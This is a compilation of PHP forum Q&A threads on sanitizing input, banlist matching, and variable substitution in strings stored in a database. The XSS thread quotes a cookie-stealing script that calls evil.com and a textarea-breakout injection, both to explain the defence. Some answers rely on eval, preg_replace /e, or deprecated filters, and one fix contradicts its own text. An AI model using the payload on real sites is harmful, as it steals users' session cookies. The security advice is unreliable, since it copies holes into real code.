PHP JSON String Malformed - php

I have a function which cleans users input. After the clean input is returned, it goes through json_decode($var, true); Currently, I'm getting an error of malformed string. Though, if I print it out and test with it http://jsonlint.com/, it passes. I've come to realize that the string after the cleansing processes is 149chars long, and before, its 85. To fix this, I also ran it through a regex to remove special characters, but I'm thinking that may undo what the previous function did. Does the "new" function undo what filer_var does? Is this the best way to clean input? Below is my code:
#index.php
$cleanInput = cleanse->cleanInput($_POST);
#cleanse.php OLD
function cleanInput($input){
foreach($input as $key => $value){
$cleanInput[$key] = filter_var($value, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_HIGH));
}
return($cleanInput); //Returns 149char long string, visually 85chars
}
#cleanse.php NEW
function cleanInput($input){
foreach($input as $key => $value){
$cleanInput[$key] = preg_replace("[^+A-Za-z0-9]", "", filter_var($value, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_HIGH)));
}
return($cleanInput); //Returns 85char long string, visually 85chars
}
#outputs
#Before
{"name":"Pete Johnson","address":"123 main street","email":"myemail#gmail.com","password":"PA$$word"}
#After
{"name":"Pete Johnson","address":"123 main street","email":"myemail#gmail.com","password":"PA$$word"}

The function call to filter_var($value, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_HIGH) creates an output like this:
{"name":"Pete Johnson","address":"123 mainstreet","email":"myemail#gmail.com","password":"PA$$word"}
That is why json_decode does not work.
Like I said in the comments. Your best bet is to use json_decode on the input initially and then run through the individual elements with HTML_Purifier and or Zend_Validator or write your own to deal with individual fields. For example, email has different validation requirements than password.
EDIT:
I tried running through the new function, but I couldn't get it to work is. So I made a few adjustments to get it to work. Although I'm not sure if that was what you intended for your regex. Here is what I got as output from the this code:
$input = '{"name":"Pete Johnson","address":"123 main street","email":"myemail#gmail.com","password":"PA$$word"}';
$cleanedInput = preg_replace("/[^+A-Za-z0-9]/", "", filter_var($input, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_HIGH));
echo $cleanedInput;
Output:
34name3434PeteJohnson3434address3434123mainstreet3434email3434myemailgmailcom3434password3434PAword34

Related

PHPs strpos does not work as intended with double quoted string

I'm using the following code to return true or false if a string contains a substring in PHP 8.0.
<?php
$username = "mothertrucker"; // This username should NOT be allowed
$banlistFile = file_get_contents("banlist.txt"); //Contains the word "trucker" in it
$banlist = explode("\n", $banlistFile); // Splits $banlistFile into an array, split by line
if (contains($username, $banlist)) {
echo "Username is not allowed!";
} else {
echo "Username is allowed";
}
function contains($str, array $arr)
{
foreach($arr as $a) { // For each word in the banlist
if (stripos($str, $a) !== false) { // If I change $a to 'trucker', it works. "trucker" does not
return true;
}
}
return false;
}
?>
This is to detect if an inappropriate word is used when creating a username. So for example, if someone enters the username "mothertrucker", and "trucker" is included in the ban list, I want it to deny it.
Right now with this code, If I just type in the word "trucker" as a username, it is found and blocks it. Cool. However if there's more to the string than just "trucker", it doesn't detect it. So the username "mothertrucker" is allowed.
I discovered that if I explicitly type in 'trucker' instead of $a in the stripos function, it works perfectly. However, if I explicitly type in "trucker" (with double quotes), it stop working, and only blocks if that's the only thing the user entered.
So what I'm seeing, is it looks like the string $a that I'm passing it is being interpreted by PHP as a double quoted string, when in order for this to detect it properly, it needs to be a single quoted string. But as far as I can tell, I have no control over how php passes passing the variable.
Can I somehow convert it to a single quoted string? Perhaps the explode command I'm using in line 2 is causing it? Is there another way I can pull the data from a txt document and have it be interpreted as a single quote string? Hopefully I'm made sense with my explanation, but you can copy and paste the code and see it for yourself
Thanks for any help!
One potential problem would be any whitespace (which includes things like \r) could stop the word matching, so just trimming the word to compare with can tidy that up...
stripos($str, $a)
to
stripos($str, trim($a))
I do not know what your file actually contains so i dont know what the result of explode is.
Anyways my suggestion is (depending on the speed you want to perform this and also the length of the banlist file also your level of banning) to not explode the file and just look into it as a whole.
<?php
$username = "allow"; // This username should be allowed
$banlist = "trucker\nmotherfucker\n donot\ngoodword";
var_dump(contains($username, $banlist));
function contains($str, $arr)
{
if (stripos($arr, $str) !== false) return true;
else return false;
}
?>
Otherwise if you are going to allow say good which is an allowed word but since it is in the file with goodword it will not (using my example), you should not use stripos but instead use your example and use strcasecmp

php foreach in foreach looping

I want to extrect all usernames and passwords each from his file and output it nicely.
I wrote a code on my appserv 2.5.1 on my computer but only the last loop gave the username output.
Tested the code on other machines and it worked perfectly.
Dont know what is the problem ...
usernames.txt content :
user1
user2
user3
passwords.txt content :
pass1
pass2
pass3
script content :
$usernames = explode("\n", file_get_contents("usernames.txt"));
$passwords = explode("\n", file_get_contents("passwords.txt"));
foreach( $usernames as $username )
{
foreach( $passwords as $password )
{
echo $username.":".$password."\n";
}
}
output :
:pass1
:pass2
:pass3
:pass1
:pass2
:pass3
user3:pass1
user3:pass2
user3:pass3
for ($i=0;$i<count($usernames) && $i<count($password); $i++) {
echo $usernames[$i].':'.$passwords[$i];
}
But $password[x] must be related to $usernames[x]
There's always those that will say you don't need it (and you often don't) but I tend to use regular expressions whenever I'm parsing these kind of flat files - there's always some quirky character, extra line-break or difference that finds it's way into a text file - be it from transferring servers, restoring backups or simply user-interference. You could also make use of array_combine in this situation if you'd prefer to carrying on using a foreach loop - I know some folks prefer it for readability.
preg_match_all('/\w+/m', file_get_contents('usernames.txt'), $usernames);
preg_match_all('/\w+/m', file_get_contents('passwords.txt'), $passwords);
if(count($usernames[0]) !== count($passwords[0]))
die('Computer says: mismatch!'); // some resemblance of error handling...
$result = array_combine($usernames[0], $passwords[0]);
foreach($result as $name => $pass)
echo "{$name}:{$pass}\n";
demo
After debugging with the post author, I guessed that the problem was with the line return character. Using a \r\n fixed the problem:
$usernames = explode("\n\r", file_get_contents("usernames.txt"));
$passwords = explode("\n\r", file_get_contents("passwords.txt"));
For reference, please note that it is very important not to assume your input data is right. If you see that something is wrong and it points obviously to a mistake you made previously (in that case it is clearly not the foreach function that is buggy, but the array), then you need to swallow your pride and debug your own code. I have been programming PHP for 10 years, and I still have to remember that every single day.

PHP Function and variables stored in a string in a database

I need to store data within a database, when I get the data from the database I need functions and variables in the string to be worked out as such.
Example
$str = "<p>Dear {$this->name},</p>"
I then store this in the database, and when I retrieve the string and run it through
eval("\$detail= \"$detail\";");
then the variable gets populated with the name. This is exactly what I needed and works fine.
The problem is I want to run a function with this variable as the parameter.
example. I would like to ucwords the variable.
I have tried:
$str = "<p>Dear {ucwords($this->name)},</p>" //just echoed {ucword(->name)},
$str = "<p>Dear {ucwords($this->name)},</p>" //Fatal error: Function name must be a string,
Am I going in the right direction?
Is this at all possible?
You don't need to keep PHP code in database. This is a bad practice and also can lead to security vulnerabilities.
Instead store in database string like this:
<p>Dear [name],</p>
And when you retrieve it you can just do:
$stringFromDb = str_replace("[name]", $this->name, $stringFromDb);
or
$stringFromDb = str_replace("[name]", ucwords($this->name), $stringFromDb);
Other common approach is to use sprintf. So you need to store in database string with %s as placeholders for values.
Example:
<p>Dear %s,</p>
and replace with
$stringFromDb = sprintf($stringFromDb, ucwords($this->name));
What you seem to be looking for is a simple templating language.
It's been a long while since I've written PHP (and I suddenly remember why...), but here's something I whipped up.
It should support both objects ($a->name) and arrays ($a["name"]) as input objects.
You can add new filters (name -> function name mapping) in $valid_filters.
$valid_filters = array("title" => "ucfirst", "upper" => "strtoupper");
function _apply_template_helper($match) {
global $_apply_template_data, $valid_filters;
$var = $match[1];
$filter = $valid_filters[trim($match[2], ':')];
$value = is_array($_apply_template_data) ? $_apply_template_data[$var] : $_apply_template_data->$var;
if($filter && !empty($value)) $value = call_user_func($filter, $value);
return !empty($value) ? $value : $match[0];
}
function apply_template($template, $data) {
global $_apply_template_data;
$_apply_template_data = $data;
$result = preg_replace_callback('/\{\{(.+?)(:.+?)?\}\}/', "_apply_template_helper", $template);
$_apply_template_data = null;
return $result;
}
How to use it:
$template = "Hello {{name:title}}, you have been selected to win {{amount}}, {{salutation:upper}}";
echo apply_template($template, array("name"=>"john", "amount" => '$500,000', "salutation" => "congratulations"));
The result:
Hello John, you have been selected to win $500,000, CONGRATULATIONS
I have found the following works,
If i contain the function within the class itself then it can be called using the following code
<p>Dear {\$this->properCase(\$this->rl_account->name)},</p>
But i would like to be able to do this now without having the database have the code as Alex Amiryan mentions earlier.

Sanitizing Output To Textarea From XSS

What are the best methods of sanitizing values from a database (in php) if they are to be used in inputs like textareas?
For example, when inserting data, I can strip tags and quotes and replace them with html char codes and then use mysql_real_escape_string right before insertion.
When retrieving that data back, I need it to show up in a textarea. How can I do this and still avoid XSS? (Ex. you could easily type in
</textarea><script type='text/javascript'> Malicious Code</script><textarea>
) and cause problems.
Thanks!
I think i would prefer a combo of filter_var and url_decode if you want to use a pure simple php Solution
Reason
Imagine an impute like this
$maliciousCode = "<script>document.write(\"<img src='http://evil.com/?cookies='\"+document.cookie+\"' style='display:none;' />\");</script> I love PHP";
If i use strip_tags
var_dump(strip_tags($maliciousCode));
Output
string 'document.write("' (length=16)
if i use htmlspecialchars
var_dump(htmlspecialchars($maliciousCode));
Output
string '<script>document.write("<img src='http://evil.com/?cookies='"+document.cookie+"' style='display:none;' />");</script> I love PHP' (length=166)
My Choice
function cleanData($str) {
$str = urldecode ($str );
$str = filter_var($str, FILTER_SANITIZE_STRING);
$str = filter_var($str, FILTER_SANITIZE_SPECIAL_CHARS);
return $str ;
}
$input = cleanData ( $maliciousCode );
var_dump($input);
Output
string 'document.write(&#34;&#34;); I love PHP' (length=46)
If form is using GET instead of POST some can till escape if it is url encoded , you are able to get a minimal information and make sure the final text is harmless
The are also enough class online to help you do filter see
http://www.phpclasses.org/package/2189-PHP-Filter-out-unwanted-PHP-Javascript-HTML-tags-.html
http://htmlpurifier.org/
HTMLpurifier is a great tool for cleaning out unwanted HTML, particularly unwanted JavaScript. Also using htmlspecialchars() is recommended for outputting user-provided content.
After getting a dirty spammer on my contact form I expanded my function that sanitizes textbox user input.It now also covers multi-line textarea input
I needed to format for normal display and also html email from my contact page.
It also gives option to format for a plain text email which I also use.
function clean_text($text, $html = true)
{ if($text == ""){return "";}
$text = nl2br($text,false); // false gives <br>, true gives <br />
$textary = explode("<br>",$text);
foreach($textary as $key => $val)
{ $val = trim($val);
$val = stripslashes($val);
$val = htmlspecialchars($val);
$textary[$key] = $val;
}
if ($html)
{ return implode("<br />",$textary);} //return implode("<br>",$textary);
else
{ return implode("\r\n",$textary);}
}
By the way... Thanks SO members for being part of my learning PHP.
Example at http://www.microcal.ca/scripts/cleantext.php

PHP keep me from eval ;) Variables inside string

For reasons I'd rather not get into right now, I have a string like so:
<div>$title</div>
that gets stored in a database using mysql_real_escape_string.
During normal script execution, that string gets parsed and stored in a variable $string and then gets sent to a function($string).
In this function, I am trying to:
function test($string){
$title = 'please print';
echo $string;
}
//I want the outcome to be <div>please print</div>
This seems like the silliest thing, but for the life of me, I cannot get it to "interpret" the variables.
I've also tried,
echo html_entity_decode($string);
echo bin2hex(html_entity_decode($string)); //Just to see what php was actually seeing I thought maybe the $ had a slash on it or something.
I decided to post on here when my mind kept drifting to using EVAL().
This is just pseudocode, of course. What is the best way to approach this?
Your example is a bit abstract. But it seems like you could do pretty much what the template engines do for these case:
function test($string){
$title = 'please print';
$vars = get_defined_vars();
$string = preg_replace('/[$](\w{3,20})/e', '$vars["$1"]', $string);
echo $string;
}
Now actually, /e is pretty much the same as using eval. But at least this only replaces actual variable names. Could be made a bit more sophisticated still.
I don't think there is a way to get that to work. You are trying something like this:
$var = "cute text";
echo 'this is $var';
The single quotes are preventing the interpreter from looking for variables in the string. And it is the same, when you echo a string variable.
The solution will be a simple str_replace.
echo str_replace('$title', $title, $string);
But in this case I really suggest Template variables that are unique in your text.
You just don't do that, a variable is a living thing, it's against its nature to store it like that, flat and dead in a string in the database.
If you want to replace some parts of a string with the content of a variable, use sprintf().
Example
$stringFromTheDb = '<div>%s is not %s</div>';
Then use it with:
$finalString = sprintf($stringFromTheDb, 'this', 'that');
echo $finalString;
will result in:
<div>this is not that</div>
If you know that the variable inside the div is $title, you can str_replace it.
function test($string){
$title = 'please print';
echo str_replace('$title', $title, $string);
}
If you don't know the variables in the string, you can use a regex to get them (I used the regex from the PHP manual).
function test($string){
$title = 'please print';
$vars = '/(?<=\$)[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/';
preg_match_all($vars, $string, $replace);
foreach($replace[0] as $r){
$string = str_replace('$'.$r, $$r, $string);
}
echo $string;
}

Categories